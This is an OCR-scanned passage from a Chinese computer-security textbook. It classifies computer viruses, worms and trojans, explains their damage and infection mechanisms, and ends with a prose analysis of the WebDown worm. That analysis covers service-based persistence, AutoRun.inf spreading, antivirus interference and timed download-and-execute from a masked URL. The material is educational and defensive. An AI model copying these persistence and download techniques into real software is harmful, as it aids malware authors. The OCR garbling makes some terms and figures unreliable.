序 及 程序 模块 组 成 。 操 作 系 统 型 病毒 传染 的 目标 为 操作 系统 中 的 一 些 程序 和 程序 模块 。 一 
般 来 说 ,作为 计算 机 操作 系统 的 一 部 分 ,只 要 计算 机 开机 ,操作 系统 型 病毒 就 处 于 随时 被 触 
发 的 状态 。 计 算 机 操作 系统 的 开放 性 和 不 完整 性 为 这 类 病毒 的 产生 与 传染 创造 了 基础 条 
件 。“ 黑 色 星期 五 "就 是 典型 的 操作 系统 型 病毒 。 

(3) 感染 可 执行 程序 的 病毒 。 以 可 执行 程序 为 媒介 传播 的 病毒 通常 隐藏 在 可 执行 程 
中 ,一 旦 可 执行 程序 被 执行 ,寄生 在 其 中 的 病毒 就 会 被 激活 。 病 毒 程序 首先 被 执行 ,然后 
驻 内 存 ,通过 设置 病毒 的 触发 条 件 进行 大 范围 的 传播 。 

(4) 感染 带 有 宏 的 文档 。 随 着 计算 机 网 络 的 推广 普及 ,公司 的 白领 们 习惯 了 使 用 
Internet 来 传递 Word 文档 ,病毒 家 族 中 的 新 成 员 一 一 宏 病 毒 开始 粉 墨 登 场 。 宏 病毒 寄生 
于 Word 文档 或 模板 的 宏 中 。 一 旦 用 户 打开 包含 宏 病 毒 的 文档 , 宏 病 毒 就 会 被 激活 并 转移 
到 用 户 计算 机 的 Normal 模板 里 。 如 此 一 来 ,计算 机 用 户 自动 保存 的 Word 文档 就 会 携带 这 
种 宏 病 毒 。 更 炎 糕 的 是 ,如 果 其 他 的 用 户 在 自己 的 计算 机 中 打开 了 已 经 感染 这 种 宏 病 毒 的 
Word 文档 , 宏 病 毒 就 会 轻易 地 转移 到 此 用 户 的 计算 机 中 。 

以 上 4 种 病毒 ,实际 上 可 以 概括 为 两 大 类 : 一 类 病毒 隐藏 在 计算 机 的 引导 扇 区 , 另 一 类 
病毒 隐藏 在 计算 机 的 文件 中 。 

4. 根据 计算 机 病毒 的 传播 媒介 来 划分 

根据 病毒 的 传播 媒介 ,计算 机 病毒 可 分 为 单机 型 病毒 和 网 络 型 病毒 两 种 。 

(1) 单机 型 病毒 。 单 机 型 病毒 的 传播 媒介 是 磁盘 。 通 常情 况 下 ,单机 型 病毒 按照 以 下 
的 方式 进行 传播 : 病毒 首先 传染 移动 存储 设备 (如 USB 盘 .移动 硬盘 ); 移动 存储 设备 上 的 
病毒 再 传染 固定 存储 设备 (计算 机 硬盘 ), 从 而 进一步 地 传染 计算 机 系统 ; 计算 机 系统 上 的 
病毒 再 传染 其 他 的 移动 存储 设备 ,这 些 被 传染 的 移动 存储 设备 进而 再 去 传染 其 他 的 计算 机 
系统 。 典 型 的 单机 型 病毒 有 CIH 病毒 。 

(2) 网 络 型 病毒 。 网 络 型 病毒 的 传播 媒介 不 再 是 磁盘 ,它们 通过 计算 机 网 络 进行 传播 。 
网 络 信息 传播 的 快捷 性 导致 了 这 种 病毒 具备 更 强 的 传染 能 力 ,它们 会 对 计算 机 网 络 造成 灾 
难 性 的 破坏 。 典 型 的 网 络 型 病毒 有 “ 尼 姆 达 ” 病 毒 。 

5. 根据 计算 机 病毒 隐藏 的 媒体 来 划分 

根据 病毒 隐藏 的 媒体 ,计算 机 病毒 可 分 为 网 络 型 病毒 .文件 型 病毒 .引导 区 型 病毒 和 混 
合 型 病毒 4 种 。 

(1) 网 络 型 病毒 。 攻 击 对 象 为 网 络 中 的 可 执行 文件 ,网 络 型 病毒 利用 计算 机 网 络 进行 
传播 。 

(2) 文件 型 病毒 。 攻 击 对 象 为 计算 机 中 存储 的 文件 (如 COM EXE 与 DOC 等 ) 。 


序 
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(3) 引导 区 型 病毒 。 攻 击 对 象 为 硬盘 的 启动 扇 区 (Boot) 和 硬盘 的 引导 扇 区 (MBR) 。 

(4) 混合 型 病毒 。 混 合 型 病毒 同时 具有 引导 区 型 和 文件 型 两 种 病毒 的 特征 ,如 多 型 病 
毒 (文件 和 引导 型 ) 的 攻击 对 象 为 存储 在 硬盘 中 的 文件 和 硬盘 引导 扇 区 两 种 目标 。 混 合 型 病 
毒 通常 都 具有 加 密 和 变形 算法 ,使 用 非法 的 途径 入 侵 计 算 机 系统 ,所 以 这 类 病毒 的 危害 性 
更 大 。 

6. 根据 计算 机 病毒 传染 的 方式 来 划分 

根据 病毒 传播 的 媒介 ,计算 机 病毒 可 分 为 以 下 4 种 。 

(1) 电子 邮件 病毒 。 以 网 络 上 的 电子 邮件 为 媒介 传播 的 计算 机 病毒 。 

(2) USB 盘 病毒 。 以 USB 盘 为 媒介 传播 的 计算 机 病毒 。 

(3) 网 页 病毒 。 以 网 页 为 媒介 传播 的 计算 机 病毒 。 

(4) 计算 机 文件 病毒 。 以 计算 机 文件 为 媒介 传播 的 计算 机 病毒 。 

7. 根据 计算 机 病毒 的 危害 程度 来 划分 


不 同 的 计算 机 病毒 对 计算 机 系统 的 危害 程度 差别 很 大 。 根 据 危 害 程度 ,计算 机 病毒 可 
分 为 良性 病毒 和 恶性 病毒 两 类 。 

(1) 良性 病毒 。 良 性 病毒 包含 的 程序 代码 会 对 计算 机 系统 产生 间接 的 破坏 作用 。 由 于 
不 破坏 计算 机 系统 和 其 中 的 数据 ,因此 良性 病毒 的 危害 程度 轻微 ; 但 是 良性 病毒 占用 了 宝 
贵 的 系统 资源 ,干扰 了 计算 机 的 正常 工作 。 因 此 ,不 要 轻视 良性 病毒 对 计算 机 系统 造成 的 危 
害 : 它们 会 降低 计算 机 系统 的 运行 效率 ,耗费 宝贵 的 内 存 资源 和 磁盘 存储 空间 。 国 内 出 现 
的 圆 点 病毒 就 属于 典型 的 良性 病毒 。 

(2) 恶性 病毒 。 恶 性 病毒 包含 的 程序 代码 中 存在 破坏 计算 机 系统 的 操作 ,在 病毒 传染 
的 时 候 会 对 计算 机 系统 产生 直接 的 破坏 作用 。 恶 性 病毒 对 计算 机 系统 的 危害 : 破坏 计算 机 
系统 中 存储 的 数据 文件 ; 终止 计算 机 的 正常 工作 ; 中 断 系统 正常 的 输入 和 输出 ; 破坏 硬盘 
分 区 表 信息 、 主 引导 信息 、 文 件 分 配 表 信息 ; 格式 化 计算 机 硬盘 等 。 由 于 计算 机 系统 属于 一 
种 复杂 而 精密 的 设备 ,因此 有 些 恶 性 病毒 对 其 造成 的 危害 往往 是 无 法 预料 的 甚至 是 灾难 性 
的 。 所 以 说 恶性 病毒 的 危害 程度 是 极其 严重 的 ,它们 是 计算 机 病毒 防治 的 重点 。 

8. 根据 计算 机 病毒 的 功能 来 划分 


根据 病毒 的 功能 来 划分 ,计算 机 病毒 可 分 成 几 十 种 类 型 。 不 同 的 杀毒 软件 制造 商 ,对 计 
算 机 病毒 的 划分 方法 也 存在 差异 ,甚至 病毒 类 型 下 面 还 有 若干 病毒 的 子 类 型 ,本 书 概括 了 以 
下 一 些 常 见 的 病毒 类 型 。 

(1) 感染 型 病毒 (Virus) 。 感 染 型 病毒 人 侵 计 算 机 系统 ,首先 要 选择 宿主 文件 ,将 病毒 
代码 添加 到 宿主 文件 上 ,这 样 病毒 就 会 和 宿主 文件 同时 在 计算 机 系统 中 运行 。 宿 主 文 件 感 
染病 毒 后 ,其 正常 功能 不 会 发 生 改 变 , 但 是 其 正常 功能 运行 的 同时 也 会 执行 病毒 的 功能 , 因 
此 这 种 病毒 具有 较 强 的 欺骗 性 。 因 为 感染 型 病毒 隐藏 在 宿主 文件 中 ,宿主 文件 的 功能 没有 
消失 ,因此 用 户 不 能 够 简单 地 将 染 毒 文件 删除 ,只 能 清除 病毒 。 这 类 病毒 清理 起 来 比较 困 
难 ,因此 它 的 危害 性 最 大 。 

(2) 蠕虫 病毒 (Worm) 。 蠕 虫 病 毒 的 传播 载体 众多 ,诸如 操作 系统 漏洞 .电子 邮件 、 局 域 
网 中 可 共享 的 目录 、 文 件 传输 软件 (如 MSN OICQ IRC 等 ) .移动 存储 设备 (如 USB 盘 、 移 
动 硬盘 ) 等 。 此 外 ,蠕虫 病毒 使 用 其 子 类 型 的 行为 特征 来 表示 病毒 的 传播 方式 。 璧 如 ,IM 
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病毒 利用 即时 通信 作为 载体 进行 传播 ; Mail 病毒 借助 电子 邮件 进行 传播 ; MSN 病毒 以 
MSN 作为 媒介 进行 传播 ; ICQ 病毒 利用 ICQ 软件 进行 传播 ; QQ 病毒 借助 OICQ 软件 进 
行 传播 ; P2P 病毒 以 P2P 软件 作为 媒介 进行 传播 ; IR 病毒 利用 ICR 软件 进行 传播 。 

这 类 病毒 的 传播 媒介 广泛 ,传播 能 力 强 ,对 用 户 计算 机 系统 的 危害 较 大 ,所 以 它 的 危害 
等 级 仅 次 于 Virus 位 居 第 二 。 

(3) 后 门 程序 (Backdoor)。 后 门 程序 是 指 在 计算 机 系统 用 户 不 知情 甚至 是 不 允许 的 情 
况 下 ,对 被 感染 的 系统 进行 远程 操纵 。 由 于 这 种 程序 在 运行 时 隐藏 了 自身 ,因此 用 户 很 难 通 
过 常规 的 手段 阻止 其 非法 活动 。 作 为 木马 病毒 的 特例 ,后 门 程序 可 以 对 被 攻击 的 对 象 进行 
远程 操纵 (如 文件 管理 .进程 控制 等 )。 它 的 危害 等 级 为 第 三 。 

(4) 木马 病毒 (Trojan) 。 木 马 病毒 是 指 在 计算 机 系统 用 户 不 知情 甚至 是 不 允许 的 情况 
下 ,在 被 人 侵 的 系统 上 通过 隐蔽 的 方式 运行 ,而 用 户 很 难 通过 常规 的 手段 阻止 其 非法 活动 。 
木马 病毒 的 编写 者 受 利益 的 驱使 ,编写 出 了 木马 病毒 的 子 类 型 。 换 句 话 说 ,病毒 的 编写 者 通 
过 木马 病毒 子 类 型 的 行为 实现 了 他 们 的 非法 目的 。 壁 如 以 下 示例 。 

© TrojanSpy: 非法 获取 用 户 的 个 人 信息 。 

© PSW: 窃取 用 户 密码 。 

© DownLoader: 在 被 感染 的 计算 机 系统 上 运行 网 络 上 下 载 的 病毒 。 

@ Clicker; 单 击 指定 的 网 页 。 

© Dialer: 通过 拨号 的 方式 来 诈骗 计算 机 系统 用 户 金钱 的 程序 。 

© Dropper: 该 程序 将 自身 伪装 成 正常 的 软件 安装 程序 , 当 用 户 运行 该 程序 时 ,它们 乘 
机 释放 病毒 程序 并 运行 它们 。 

© Rootkit: 这 种 病毒 子 类 型 属于 “越权 执行 ”的 应 用 程序 。 它 使 用 非法 的 手段 使 自己 
达到 和 内 核 一 样 的 运行 级 别 ,具有 内 核 一 样 的 访问 权限 ,因而 可 以 随意 地 修改 内 核 指令 。 这 
种 病毒 常见 的 运行 方式 为 设法 使 内 核 枚 举 进程 的 API 返回 的 数据 忽略 Rootkit 自身 进程 的 
信息 ,这 样 常规 的 进程 工具 就 检测 不 到 Rootkit 了 。 

(5) 病毒 工具 (VirusTool) 。 病 毒 工具 是 指 在 本 地 计算 机 以 网 络 为 媒介 入 侵 其 他 计算 
机 的 工具 。 

(6) 病毒 生成 器 (Constructor)。 病 毒 生成 器 是 指 能 够 产生 不 同 种 类 的 病毒 的 程序 。 

(7) 搞笑 程序 (Joke)。 搞 笑 程序 的 目的 是 轧 弄 计算 机 用 户 , 使 他 们 产生 不 必要 的 心理 
恐惧 ,而 不 是 危害 他 们 的 计算 机 系统 。 

9. 其 他 划分 方法 

(1) 传统 病毒 。 具 备 传染 性 ,能 够 给 被 感染 的 计算 机 造成 破坏 的 程序 代码 。 传 统 病毒 
通过 修改 计算 机 中 的 文件 或 者 硬盘 引导 扇 区 的 数据 进行 传播 ,通常 分 为 破坏 可 执行 文件 的 
文件 型 病毒 和 破坏 引导 扇 区 的 引导 型 病毒 。 

(2) 宏 病 毒 (Macro) 。 利 用 Word, Excel 等 的 宏 脚 本 作为 传播 媒介 进行 传播 的 计算 机 
病毒 。 

(3) 恶意 脚本 (Script) 。 能 够 破坏 计算 机 系统 的 脚本 代码 。 亚 意 脚本 包括 批 处 理 脚本 、 
HTML 脚本 JavaScript 和 VB Script 脚本 等 。 

(4) 木马 (Trojan) 程 序 。 木 马 程序 是 指 隐藏 在 计算 机 中 ,受到 外 部 用 户 控制 以 窃取 本 
机 信息 或 者 控制 权 的 程序 。 木 马 程序 的 危害 性 在 于 多 数 有 恶意 的 企图 ,如 非法 占用 系统 资 
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源 ,降低 计算 机 的 效能 ,危害 本 机 信息 安全 ( 资 取 QQ 账号 .游戏 账号 甚至 银行 账号 ) ,将 本 机 
作为 工具 来 人 侵 其 他 的 网 络 计算 机 等 。 

(5) 黑客 (Hack) 程 序 。 黑 客 程序 以 网 络 为 媒介 攻击 计算 机 网 络 上 的 其 他 计算 机 ,在 运 
行 过 程 中 这 种 程序 类 似 其 他 正常 程序 一 样 有 程序 界面 。 黑 客 程序 破坏 的 目标 是 网 络 上 的 其 
他 计算 机 ,而 对 运行 该 程序 的 本 地 计算 机 则 没有 危害 。 

(6) 蠕虫 (Worm) 程 序 。 蠕 虫 属 于 计算 机 病毒 中 的 一 种 ,但 是 它 与 普通 病毒 之 间 有 着 很 
大 的 区 别 。 一 般 认为 : 蠕虫 是 一 种 通过 网 络 传播 的 恶性 病毒 。 它 具有 病毒 的 一 些 共性 ,如 
传播 性 、 隐 项 性 、 破 坏 性 等 ; 同时 也 具有 自己 的 一 些 特征 ,如 不 利用 文件 寄生 (有 的 只 存在 于 
内 存 中 )、 对 网 络 造成 拒绝 服务 ,以 及 与 黑客 技术 紧密 结合 等 。 

(7) 破坏 性 程序 (Harm) 。 破 坏 性 程序 运行 后 ,执行 一 些 恶意 操作 ,如 删除 硬盘 文件 、 格 
式 化 硬盘 等 ,危害 用 户 的 计算 机 系统 。 常 见 的 破坏 性 程序 以 bat 文件 或 exe 文件 的 形式 存 
在 ,有 一 部 分 破坏 性 程序 和 恶意 网 页 相 结合 ,对 用 户 的 计算 机 系统 造成 更 大 的 危害 。 


11.1.4 计算 机 病毒 的 破坏 行为 和 作用 机 理 


1. 计算 机 病毒 的 破坏 行为 

不 同 的 病毒 针对 计算 机 系统 实施 的 破坏 行为 也 有 所 不 同 ,其 中 最 具 代表 性 的 破坏 行为 
有 以 下 几 种 。 

A) 攻击 计算 机 系统 的 数据 区 。 少 数 恶 性 病毒 攻击 计算 机 的 硬盘 主 引 导 扇 区 .Boot Ja 
区 、FAT 表 、 文 件 目录 等 关键 内 容 , 且 受 损 的 数据 无 法 进行 恢复 。 

(2) 攻击 系统 文件 。 其 表现 为 删除 系统 文件 ,修改 系统 文件 的 名 称 、 替 换 系统 文件 的 内 
容 、 删 除 部 分 程序 代码 等 。 

(3) 攻击 系统 内 存 。 任 何 程序 要 想 执 行 必 须要 获得 系统 的 内 存 资源 ,这 样 内 存 也 就 进 
入 了 病毒 攻击 的 范围 。 病 毒 攻击 系统 内 存 的 方式 主要 有 窃取 内 存 的 控制 权 , 占 用 大 量 内 存 ， 
更 改 内 存 总 量 。 

(4) 干扰 系统 运行 。 拒 绝 和 干扰 用 户 指令 的 运行 ,系统 内 部 堆栈 溢出 ,侵占 特殊 数据 
区 ,更 改 时 钟 ,自动 重启 计算 机 ,导致 计算 机 死机 等 。 

(5) 系统 速度 降低 。 不 少 病毒 的 程序 中 存在 无 意义 的 空 循环 ,导致 计算 机 空转 ,系统 速 
度 明 显 降 低 。 

(6) 攻击 系统 磁盘 。 删 除 硬盘 中 的 数据 ,不 存盘 ,存盘 操作 变 为 读 取 磁盘 操作 ,存盘 时 
丢失 数据 等 。 

(7) 扰乱 系统 屏幕 显示 。 字 符 显示 错乱 、 跌 落 、 环 绕 、 倒 置 ,光标 下 跌 滚屏、 抖动 , 吃 字 

(8) 攻击 系统 键盘 。 单 击 按键 响 铃 ,封锁 键盘 ,替换 字符 ,删除 数据 缓冲 区 中 的 字符 , 字 
符 的 重复 输入 。 

(9) 攻击 系统 扬声器 。 发 出 异常 的 声音 ,如 演奏 曲子 声 、 警 笛 声 .炸弹 噪声 . 鸟 鸣 声 、 哪 
RE .滴答 声 。 

(10) 攻击 系统 CMOS。 对 系统 CMOS 区 进行 非法 写 入 操作 ,破坏 系统 CMOS 区 中 的 
原 有 数据 。 

(11) 干扰 系统 打印 机 。 导 致 打印 机 打印 不 连续 、 替 换 字 符 等 。 
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2. 计算 机 病毒 的 作用 机 理 

计算 机 病毒 的 作用 机 理 表 现在 其 引导 机 理 、 传 染 机 理 和 破坏 机 理 3 个 方面 。 

(1) 计算 机 病毒 的 引导 机 理 。 计 算 机 病毒 通常 寄生 在 系统 磁盘 引导 区 和 可 执行 文件 
中 。 病 毒 的 寄生 方式 一 般 有 两 种 : 潜 代 和 链接 。 一 般 情况 下 ,计算 机 病毒 通过 潜 代 的 方式 
寄生 在 系统 的 引导 扇 区 ,它们 通过 链接 的 方式 寄生 在 可 执行 的 文件 中 。 下 面 着 重 分 析 一 下 
计算 机 病毒 的 潜 代 寄生 方式 。 

病毒 侵占 了 引导 扇 区 中 系统 文件 的 空间 然后 寄生 在 系统 引导 区 , 当 计算 机 系统 启动 时 ， 
病毒 程序 会 被 自动 装载 到 系统 内 存 中 并 被 执行 , 紧 接着 病毒 的 干扰 程序 和 破坏 程序 会 被 装 
载 到 内 存 的 相应 位 置 并 且 在 特定 的 条 件 下 被 激活 ,使 得 计算 机 系统 运行 被 感染 的 病毒 。 

(2) 计算 机 病毒 的 传染 机 理 。 所 谓 传染 ,是 指 计算 机 病毒 从 硬盘 中 的 一 个 程序 传播 到 
另外 一 个 程序 ,从 一 台 计 算 机 传染 另外 一 台 计 算 机 的 动态 过 程 。 一 般 来 说 ,计算 机 病毒 传播 
的 载体 是 U 盘 或 者 移动 硬盘 ,这 些 载体 是 计算 机 病毒 寄生 的 温床 。 当 然 ,病毒 的 传染 需要 
满足 特定 的 条 件 ,一 般 来 说 有 以 下 两 种 情况 。 

一 种 情况 是 计算 机 病毒 的 被 动感 染 。 当 计算 机 用 户 使 用 移动 硬盘 或 U 盘 等 外 接 设 备 
的 时 候 ,病毒 会 寄生 在 这 些 设备 中 从 一 台 计 算 机 传播 到 另外 一 台 计算 机 ,或 是 以 网 络 流氓 程 
序 为 传播 媒介 从 一 台 计 算 机 传播 到 其 他 的 计算 机 。 

另 一 种 情况 是 计算 机 病毒 的 主动 感染 。 计 算 机 病毒 程序 被 激活 需要 满足 特定 的 条 件 ， 
当 这 些 条 件 满足 的 时 候 , 系 统 启动 时 这 些 病毒 程序 会 被 自动 激活 ,开始 从 一 个 载体 向 另外 的 
载体 传播 和 扩散 。 

(3) 计算 机 病毒 的 破坏 机 理 。 计 算 机 病毒 的 破坏 机 理 类 似 病毒 的 传染 机 理 。 计 算 机 病 
毒 通过 更 改 某 一 中 断 向 量 的 入 口 地 址 使 该 中 断 向 量 指向 病毒 程序 的 破坏 模块 。 在 这 种 情况 
下 当 系 统 满足 了 该 中 断 向 量 的 时 候 , 激 活 病毒 程序 的 条 件 得 到 满足 ,计算 机 病毒 开始 运行 。 
计算 机 病毒 运行 的 时 候 , 会 删除 部 分 系统 文件 , 极 大 地 干扰 了 操作 系统 和 正常 程序 的 运行 。 


11.2 计算 机 蠕虫 病毒 


11.2.1 蠕虫 病毒 的 原理 与 特征 


1. 蠕虫 病毒 的 原理 

蠕虫 病毒 一 般 是 由 主 程序 和 引导 程序 两 部 分 构成 的 。 主 程序 成 功 入侵 计 算 机 后 ,就 会 
读 取 网 络 公共 配置 文件 ,同时 运行 显示 当前 网 络 联机 状态 信息 的 计算 机 系统 实用 程序 ,来 获 
取 和 染 毒 计算 机 联网 的 其 他 计算 机 的 信息 。 这 些 计算 机 信息 包含 了 一 些 系统 的 缺陷 ,蠕虫 
病毒 正 是 利用 这 些 系统 缺陷 ,在 这 些 远程 计算 机 上 建立 病毒 引导 程序 。 请 不 要 忽视 这 些 被 
称 为 引导 程序 的 小 程序 ,恰恰 是 这 些小 程序 将 蠕虫 病毒 引入 了 病毒 感染 的 每 台 计算 机 。 

2. 蠕虫 病毒 的 特征 

(1) 独立 性 较 强 。 与 传统 计算 机 病毒 相 比 ,蠕虫 病毒 具有 与 众 不 同 的 传播 途径 和 破坏 
能 力 。 传 统计 算 机 病毒 严重 地 依赖 宿主 程序 ,病毒 将 自己 的 程序 代码 插入 到 宿主 程序 中 , 当 
宿主 程序 运行 时 病毒 便 趁 机 取得 系统 的 控制 权 , 从 而 对 计算 机 系统 进行 传染 和 破坏 。 蠕 虫 
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病毒 属于 一 段 独立 的 程序 代码 ,不 需要 宿主 程序 作为 传播 媒介 ,因此 彻底 地 摆脱 了 宿主 程序 
的 束缚 ,从 而 更 加 积极 地 实施 主动 攻击 o 

(2) 寻找 系统 漏洞 实施 主动 攻击 。 蠕 虫 病毒 首先 寻找 操作 系统 的 各 种 漏洞 ,然后 针对 
这 些 漏洞 实施 有 的 放 矢 的 主动 攻击 。“ 尼 姆 达 ” 病 毒 的 设计 者 利用 了 微软 操作 系统 IE 浏览 
器 的 漏洞 设计 出 了 这 种 病毒 ,即使 计算 机 用 户 没 有 打开 感染 了 病毒 的 电子 邮件 附件 ,该 病毒 
也 能 够 被 激活 ;“ 红 色 代 码 ” 病 毒 的 设计 者 利用 了 微软 Internet 信息 服务 软件 的 漏洞 (idq. 
dll 远程 缓存 区 溢出 ?设计 出 了 这 种 病毒 ,该 病毒 主要 攻击 Internet 上 的 服务 器 ;“2003 蠕虫 
王 ” 病 毒 的 设计 者 利用 微软 数据 库 系 统 的 一 个 漏洞 设计 出 了 这 种 病毒 ,该 病毒 能 够 在 网 络 上 
进行 快速 地 传播 。 

(3) 传播 范围 更 广 , 传 播 速 度 更 快 。 蠕 虫 病毒 不 仅仅 危害 本 地 计算 机 ,而 且 还 会 以 本 地 
计算 机 为 媒介 ,向 网 络 中 所 有 与 之 相连 接 的 计算 机 发 动 攻 击 , 因 此 蠕虫 病毒 比 传统 病毒 具有 
更 广泛 的 传播 范围 。 蠕 虫 病毒 能 够 使 用 各 种 传播 途径 (恶意 网 页 .E-mail、 网 络 中 共享 的 文 
件 夹 以 及 存在 着 大 量 漏洞 的 计算 机 服务 器 ) ,多 种 传播 手段 在 互联 网 中 进行 快速 地 传播 , 因 
此 蠕虫 病毒 可 以 在 半日 内 波及 全 球 的 计算 机 网 络 ,给 广大 计算 机 用 户 造成 灾难 性 的 经 济 
损失 。 

可 以 通过 下 面 的 计算 来 理解 蠕虫 病毒 的 传播 速度 : 假如 蠕虫 病毒 人 侵 了 一 台 网 络 计 算 
机 ,这 台 计 算 机 的 地 址 簿 中 存储 了 10 个 用 户 的 电子 邮件 地 址 ,那么 这 10 个 用 户 很 快 就 会 收 
到 病毒 发 送 来 的 电子 邮件 ,如 果 这 10 个 用 户 的 计算 机 地 址 簿 中 又 存储 了 10 个 用 户 的 电子 
邮件 地 址 ,那么 病毒 很 快 就 会 波及 10X10==100 个 用 户 ,如 果 病 毒 继续 这 样 在 网 络 上 传播 下 
去 ,就 会 波及 1010 X 10= 1000 个 用 户 , 而 病毒 极 有 可 能 在 数 小 时 内 完成 整个 传播 过 程 。 
由 此 可 见 ,蠕虫 病毒 能 够 以 惊人 的 速度 在 网 络 上 进行 传播 。 

(4) 采用 高 明 的 方法 进行 伪装 和 隐藏 。 病 毒 的 设计 者 采用 高 明 的 方法 对 蠕虫 病毒 进行 
伪装 和 隐藏 ,目的 是 进一步 地 扩大 病毒 的 传播 范围 。 

在 日 常 的 工作 中 ,计算 机 用 户 在 查看 电子 邮件 时 ,都 要 打开 邮件 的 附件 。 如 果 电 子 邮 件 
的 附件 中 包含 病毒 ,那么 打开 附件 的 操作 会 导致 客户 计算 机 感染 病毒 。 因 此 ,人 们 产生 了 这 
样 的 经 验 : 不 打开 电子 邮件 的 附件 就 不 会 感染 计算 机 病毒 。 但 是 ,有 的 蠕虫 病毒 会 将 病毒 
文件 利用 特殊 的 编码 形式 隐藏 在 电子 邮件 的 正文 里 。 这 类 蠕虫 病毒 巧妙 地 利用 了 mine 的 
漏洞 ,一 旦 计算 机 用 户 使 用 鼠标 单 击 邮件 正文 时 ,蠕虫 病毒 就 会 自动 激活 并 在 用 户 计算 机 的 
硬盘 上 运行 。 

另外 ,一 些 蠕 虫 病毒 (“Nimda” 和 “求职 信 ” 等 ) 还 使 用 向 邮件 中 添加 包含 双 扩 展 名 的 附 
件 等 形式 麻痹 计算 机 用 户 , 如 果 用 户 对 电子 邮件 的 处 理 不 当 , 病 毒 就 会 在 网 络 上 进一步 地 进 
行 传播 。 

(5) 使 用 先进 的 技术 。 一 些 病 毒 设计 者 将 蠕虫 病毒 代码 嵌入 Internet 网 页 的 脚本 中 ， 
利用 Java, VB Script. ActiveX 等 成 熟 技 术 将 病毒 代码 隐藏 在 HTML 页 面 中 。 当 用 户 上 网 
浏览 包含 病毒 的 网 页 时 ,病毒 就 会 趁机 驻 留 在 计算 机 的 内 存 中 并 伺机 而 发 。 此 外 一 些 蠕虫 
病毒 与 后 门 程序 相 结合 .如 * 红 色 代 码 病毒 ”。 计 算 机 用 户 感 染 这 种 病毒 之 后 , Web 目录 下 
的 Scripts 目录 下 将 自动 产生 一 个 root. exe 后 门 程序 ,病毒 的 传播 者 能 够 利用 这 一 后 门 程 
序 达 到 远程 控制 染 毒 计算 机 的 目的 。 蠕 虫 病毒 与 黑客 技术 的 融合 ,将 给 广大 的 计算 机 用 户 
带 来 巨大 的 潜在 威胁 。 
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11.2.2 蠕虫 病毒 实例 分 析 


下 面 对 蠕 虫 病毒 实例 Worm. Win32. WebDown. a 进行 分 析 。 

这 种 病毒 的 侵害 对 象 为 安装 了 Windows 操作 系统 的 计算 机 ,病毒 通过 多 种 方式 ( 枚 举 
局 域 网 网 段 IP 地 址 、 获 取 侵害 计算 机 当前 连接 .下 载 IP 地 址 信息 等 ) 获 取 侵 害 计算 机 的 IP 
地 址 ,然后 针对 这 些 地 址 进行 试探 性 地 传播 。 病 毒 的 设计 者 使 用 Visual C++ 6. 0 编写 了 该 
程序 ,并 对 其 进行 了 加 壳 保护 。 

1. 检查 传播 方式 

病毒 在 网 络 传播 的 过 程 中 ,首先 判断 自己 是 否 是 以 “% system32 %\IME\ svchost. exe” 
的 方式 一 一 服务 方式 传播 , 若 不 是 则 进行 自身 繁殖 的 初始 化 操作 。 

2. 病毒 的 初始 化 

病毒 清除 侵害 对 象 硬盘 中 的 文件 *% system32%\IME\svchost. exe”, 然 后 将 自己 复制 
为 该 文件 ,同时 将 该 文件 属性 设置 为 系统 和 隐藏 ,最 后 病毒 调用 函数 CreateProcessA 启动 
该 文件 。 病 毒 进行 上 述 操作 后 ,释放 并 执行 批 处 理 文件 rs. bat, 通 过 这 种 方法 来 销毁 自己 。 

3. 以 服务 传播 方式 注册 

病毒 通过 调用 一 系列 函数 (StartServiceCtrlDispatcher、CreateServiceA 等 ) 注 册 名 称 为 
“Alerter COM +”, 目标 为 “% system32% \ IME \ svchost. exe” 的 服务 ,接着 使 用 函数 
StartServiceA 启动 这 项 服务 。 

4. 病毒 的 服务 过 程 

为 了 保证 在 同一 时 刻 只 有 一 个 服务 实例 在 感染 病毒 计算 机 上 运行 ,病毒 调用 函数 
CreateMutexA 试 着 产生 名 称 为 *Alerter COM 十 ”的 互 斥 变量 ,如果 失败 的 话 则 自动 退出 。 

病毒 运行 4 个 线程 试探 着 进行 网 络 传播 和 下 载 。 病 毒 根 据 其 代码 中 标志 位 的 数值 决定 
是 否 对 本 地 固定 逻辑 盘 建 立 自动 运行 机 制 。 病 毒 注册 并 生成 名 称 为 *Alerter COM 十 ”的 隐 
藏 窗口 ,该 窗口 的 类 名 为 "WebDown”, 同 时 运行 消息 循环 ,不 断 地 向 这 个 隐藏 窗口 发 送 
“WM_DEVICECHANGE” 消 息 。 

5. 在 染 毒 计算 机 硬盘 上 建立 AutoRun. inf 文件 实现 自动 启动 

病毒 根据 其 代码 中 标志 位 的 数值 决定 是 否 对 染 毒 计算 机 硬盘 建立 自动 运行 机 制 。 例 
如 ,标志 位 的 数值 为 1, 则 病毒 通过 对 染 毒 计算 机 逻辑 盘 依次 调用 函数 GetDriveTypeA ,在 
上 述 硬盘 上 建立 自动 运行 机 制 。 病 毒 将 自身 复制 到 该 逻辑 盘 的 根 目录 下 , 重 命名 为 “setup. 
exe”, 同 时 生成 AutoRun. inf 文件 以 达到 自动 启动 的 目的 。 病 毒 将 文件 “setup. exe” 和 
“AutoRun. inf” 的 文件 属性 更 改 为 系统 和 隐藏 。 

6. 窗口 消息 的 处 理 

在 窗口 循环 中 ,病毒 需要 处 理 下 列 消息 。 

(1) WM_CLOSE、WM_DESTROY 消息 。 病 毒 运行 默认 窗口 的 处 理 过 程 。 

(2) WM_CREATE 消息 。 在 生成 窗口 的 时 候 ,病毒 调用 创建 计时 器 函数 SetTimer 建 
立 两 个 计时 器 Timer, 时 间 间 隔 分 别 为 1 秒 和 20 分 钟 ,回调 方式 为 接收 WM_TIMER 消息 。 

G) WM_TIMER 消息 。 病 毒 每 隔 1 秒 钟 就 运行 一 段 病毒 代码 以 便 破坏 本 地 计算 机 上 
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的 反 病毒 软件 并 复制 病毒 自身 ,每 阳 20 分 钟 尝 试 把 文件 http://www. XXXXX. cn/jj/ 
svchOst. exe 下 载 为 本 地 %system32%\down. exe, 同 时 运行 文件 down. exe. 

(4) WM_DEVICECHANGE 消息 。 病 毒 通 过 处 理 该 消息 获得 新 插入 本 地 计算 机 的 可 
移动 设备 的 信息 ,并 感染 该 设备 (向 新 设备 中 写 入 病毒 并 建立 自动 运行 机 制 )。 

7. 干扰 反 病 毒 软件 和 自身 繁殖 

病毒 通过 接收 WM_TIMER 消息 ,每 过 1 秒 钟 检测 同时 干扰 本 地 计算 机 上 的 反 病 毒 软 
件 运 行 。 病 毒 通过 调用 一 系列 函数 (GetCursorPos、WindowFromPoint、GetParent 等 ) 取 得 
系统 当前 窗口 和 其 顶层 父 窗口 的 信息 ,从 而 检测 它们 的 窗口 标题 中 是 否 包含 如 下 信息 。 

